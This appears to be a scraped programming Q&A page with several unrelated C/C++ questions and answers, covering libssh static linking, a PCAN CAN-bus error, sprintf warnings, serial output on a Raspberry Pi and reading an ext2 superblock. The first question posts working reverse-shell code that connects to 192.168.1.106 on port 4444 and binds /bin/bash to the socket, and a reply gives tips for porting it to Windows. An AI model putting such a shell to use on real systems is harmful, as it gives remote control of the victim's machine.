I'm currently working on a c++ project regarding a TCP Remote shell. Therefore I build the following code. As I'm working on windows, I found substitute libraries and headers for all of the following "#include", except for <netinet/in.h>
Thanks for all your help!
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>
int main(void) {
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr*)&revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char* const argv[] = {"/bin/bash", NULL };
execve("/bin/bash", argv, NULL);
return 0;
}
´´´´´´
Do not try to find a match for your include files from Linux to Windows. Instead, try to compile your code step by step and add those include files that you need. What I can see in the code:
Instead of inet_addr you can use inet_pton that is inside the <Ws2tcpip.h> include file.
Instead of dub2 use _dub2 in windows, that is inside <io.h>.
instead of execve, use std::system.
Related
I have the following piece of code which I am trying to build statically, so I end up with a single executable.
#define LIBSSH_STATIC 1
#include <libssh/libssh.h>
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
#include <errno.h>
#include <string.h>
#pragma comment(lib, "mbedcrypto.lib")
#pragma comment(lib, "pthreadVSE3.lib")
#pragma comment(lib, "ssh.lib")
#pragma comment(lib, "Ws2_32.lib")
int main()
{
ssh_session my_ssh_session;
int method, rc;
int port = 22;
const char* password;
int verbosity = SSH_LOG_FUNCTIONS;
//int stricthostcheck = 0;
std::string host = "10.10.10.100";
std::string user = "user";
// Open session and set options
my_ssh_session = ssh_new();
if (my_ssh_session == NULL)
exit(-1);
ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, host.c_str());
ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port);
ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, user.c_str());
ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity);
// Connect to server
rc = ssh_connect(my_ssh_session);
if (rc != SSH_OK)
{
fprintf(stderr, "Error: %s\n", ssh_get_error(my_ssh_session));
ssh_free(my_ssh_session);
exit(-99);
}
// Authenticate ourselves
password = "Password";
rc = ssh_userauth_password(my_ssh_session, NULL, password);
if (rc != SSH_AUTH_SUCCESS)
{
fprintf(stderr, "Error authenticating with password: %s\n",
ssh_get_error(my_ssh_session));
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
exit(-1);
}
ssh_disconnect(my_ssh_session);
ssh_
free(my_ssh_session);
}
I have installed the following libraries using VCPKG
libssh:x86-windows-static
zlib:x86-windows-static
openssh:x86-windows-static
I have manually linked the following include path, in the C/C++ section of project properties on the General tab under Additional include directories
C:\dev\vcpkg\installed\x64-windows-static\include
I have also under in the Linker section of project properties, also on its General tab, added an entry for Additional library directories
C:\dev\vcpkg\installed\x64-windows-static\lib
The additional libraries are linked in the code, using the following four lines of code:
#pragma comment(lib, "mbedcrypto.lib")
#pragma comment(lib, "pthreadVSE3.lib")
#pragma comment(lib, "ssh.lib")
#pragma comment(lib, "Ws2_32.lib")
I have also set the C/C++, Code Generation, Runtime option to Multi-Threaded (/MT)
When I run the program it compiles fine, creating a single executable. However, when I run the program, I get an error stating "ssh_connect: Library not initialized"
This is day three of trying to get this to work, with no previous knowledge of how to compile applications. Any help greatly appreciated :)
3 days spent on guessing instead of reading the manual - it's unbelievable. Almost on the top:
If libssh is statically linked, threading must be initialized by calling
ssh_init() before using any of libssh provided functions. This initialization
must be done outside of any threading context. Don't forget to call
ssh_finalize() to avoid memory leak
By the way, any examples of libbssh usage have calls to ssh_init() and ssh_finalize(). You can look at the unit tests.
I have got a PC/104 (its OS is Ubuntu 16.04 with kernel 4.19.89 xenomai3) that is connected to two motors via two CAN adapters. Few days back, I wrote some simple code to open my PC/104's CAN ports using the libpcanfd library.
My project folder observes the following hierarchy:
io_error_debug
build
include (empty)
src
CMakeLists.txt
main.cpp
CMakeLists.txt
CMakeLists.txt at /root:
cmake_minimum_required(VERSION 2.6)
project(io_error_debug)
include_directories(${PROJECT_SOURCE_DIR}/include) # add before adding subdirectory
add_subdirectory (src)
add_executable(io_error_debug src/main.cpp)
target_link_libraries(io_error_debug /usr/lib/libpcanfd.so # pcan
"-Wl,--no-as-needed -Wl,#/usr/xenomai/lib/cobalt.wrappers -Wl,#/usr/xenomai /lib/modechk.wrappers /usr/xenomai/lib/xenomai/bootstrap-pic.o -L/usr/xenomai/lib -lcobalt -lmodechk -lpthread -lrt"
)
CMakeLists.txt under /src:
aux_source_directory(. SRC_LIST)
main.cpp:
#include <sys/time.h>
#include <lcm/lcm_coretypes.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <inttypes.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <pthread.h>
#include <errno.h>
#include <sys/syscall.h>
#include <pcanfd.h>
#include <libpcanfd.h>
#include <cmath>
#include <iostream>
int main(int argc, char *argv[]){
int fd;
fd = pcanfd_open("/dev/pcan0", OFD_BITRATE | PCANFD_INIT_STD_MSG_ONLY | OFD_NONBLOCKING, 1000000);
if (fd < 0)
{
printf("Open operation failed with err %d on port no. %s\n",fd, "/dev/pcan0");
exit(1);
}else{
printf("Open succeeded with return value %d on port no. %s\n",fd, "/dev/pcan0");
}
}
The code compiles and executes well when the motors are switched on. However, when I switch off the motors and switch them on again, I get the following error after executing my code:
Open operation failed with err -5 on port no. /dev/pcan0
Furthermore, dmesg shows these suspicious error lines when I run my code:
[16900.914132] pcan: set_normal_mode(CAN1) failed (err -5)
[16900.914162] pcan: can't open device hardware itself (err -5)!
The documentation states that -5 is an errno error. Therefore, I looked for the value -5 in this errno errors' list and I found out that it isI/O error. Interestingly, when I switch off the PC/104 and execute my code, the program runs well. Nevertheless, when I repeat the aforementioned operation (i.e., switching off and on the motors) I will encounter the same error. I do not understand what is happening.
Here's my code:
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable : 4996)
#pragma comment(lib,"ws2_32.lib")
#include "stdafx.h"
#include <assert.h>
#include "Bootpd.h"
#include <iostream>
#include <string>
#include <iphlpapi.h>
char *MAC() {
PIP_ADAPTER_INFO AdapterInfo;
DWORD dwBufLen = sizeof(AdapterInfo);
char *mac_addr = (char*)malloc(20);
AdapterInfo = (IP_ADAPTER_INFO *)malloc(sizeof(IP_ADAPTER_INFO));
assert(AdapterInfo != NULL); //Error allocating memory
// Make an initial call to GetAdaptersInfo to get the necessary size into the dwBufLen variable
if (GetAdaptersInfo(AdapterInfo, &dwBufLen) == ERROR_BUFFER_OVERFLOW) {
AdapterInfo = (IP_ADAPTER_INFO *)malloc(dwBufLen);
assert(AdapterInfo != NULL);
}
if (GetAdaptersInfo(AdapterInfo, &dwBufLen) == NO_ERROR) {
PIP_ADAPTER_INFO info = AdapterInfo; //Copy information
sprintf(mac_addr, "%02X:%02X:%02X:%02X:%02X:%02X",
info->Address[0], info->Address[1],
info->Address[2], info->Address[3],
info->Address[4], info->Address[5]);
}
free(AdapterInfo);
return mac_addr;
}
I am using VS 2015 on Windows 10. I am trying to format my network adapter's MAC address information to look like a MAC address (aa:bb:cc:dd:ee:ff). I already tried defining _CRT_SECURE_NO_WARNINGS and disabling warning 4996 above my #include statements with no success. Is there anything I am missing, or does anybody know a different work around to get rid of the sprintf error variable may be unsafe? Thanks.
The compiler is complaining about the possibility of overrunning the mac_addr array. Give sprintf_s a shot. https://en.cppreference.com/w/c/io/fprintf
I'm compiling and running a C++/OpenCV program directly on the Raspberry Pi 3's Terminal with the line:
g++ pkg-config --cflags --libs opencv name.cpp -o name
I have been working like this without issues, but now I want to send some results like coordinates and numbers via serial port to Arduino, I tried to use this code:
#include <sstream>
#include <string>
#include <iostream>
#include <fstream>
#include <sys/time.h>
#include <termios.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
//######################################################################
int fd = open("/dev/ttyAMS0", O_RDWR);
if (fd == -1) {
perror("/dev/ttyAMS0");
return 1;
}
struct termios tios;
tcgetattr(fd, &tios);
// disable flow control and all that, and ignore break and parity errors
tios.c_iflag = IGNBRK | IGNPAR;
tios.c_oflag = 0;
tios.c_lflag = 0;
cfsetspeed(&tios, B9600);
tcsetattr(fd, TCSAFLUSH, &tios);
// the serial port has a brief glitch once we turn it on which generates a
// start bit; sleep for 1ms to let it settle
usleep(1000);
// output to serial port
char msg[] = "hi there";
write(fd, msg, strlen(msg));
But now each time I try to compile I get the errors shown in the image Here:
So I guess I'm missing something, I have added all the libraries for the Serial Port as well but I don't know if I should add something on the line for compile as I did with the opencv libraries. Thanks in advance for your answers :)
I can't add comment so I will answer what I think about your problem.
Looks like your code written in global scope outer any function body.
You can't use if statement out of any function body.
Try to enclose your if statement in function body.
Something like this:
void chec(int fd) {
if (fd == -1) {
perror("/dev/ttyAMS0");
exit(1);
}
}
int fd = open("/dev/ttyAMS0", O_RDWR);
check(fd);
I'm going to fetch linux inode bitmaps with c++. I've use this code to fetch super block first:
#include <cstdlib>
#include <linux/ext2_fs.h>
#include <linux/fs.h>
#include <iostream>
#include <stdio.h>
#include <fstream>
#include <fcntl.h>
#include <linux/fs.h>
using namespace std;
/*
*
*/
int main() {
int fd;
char boot[1024];
struct ext2_super_block super_block;
fd = open("/dev/sda1", O_RDONLY);
/* Reads the boot section and the superblock */
read(fd, boot, 1024);
read(fd, &super_block, sizeof (struct ext2_super_block));
/* Prints the Magic Number */
printf("%x\n", super_block.s_magic);
close(fd);
return 0;
}
but every time i run it , i get a error :
In file included from main.cpp:2:0:
/usr/include/linux/ext2_fs.h:181:18: error: ‘S_ISDIR’ was not declared in this scope
/usr/include/linux/ext2_fs.h:183:23: error: ‘S_ISREG’ was not declared in this scope
I couldn't find any good example or tutorial for this.is there anybody to help me?
EDIT :
I've include <linux/stat.h> but still get same error.
#grep -rw S_ISREG /usr/src/linux/include
/usr/src/linux/include/linux/fs.h: if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode) ||
/usr/src/linux/include/linux/fs.h.~1~: if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode) ||
/usr/src/linux/include/linux/stat.h:#define S_ISREG(m) (((m) & S_IFMT) == S_IFREG)
So you should find stat.h in yours kernel source tree and include it.
The Linux source code "stat.h" is not the same file as that comes with the C-library. They just happen to have the same name. You will need to set your include path to find the correct stat.h (you may need BOTH, depending on what you are trying to do).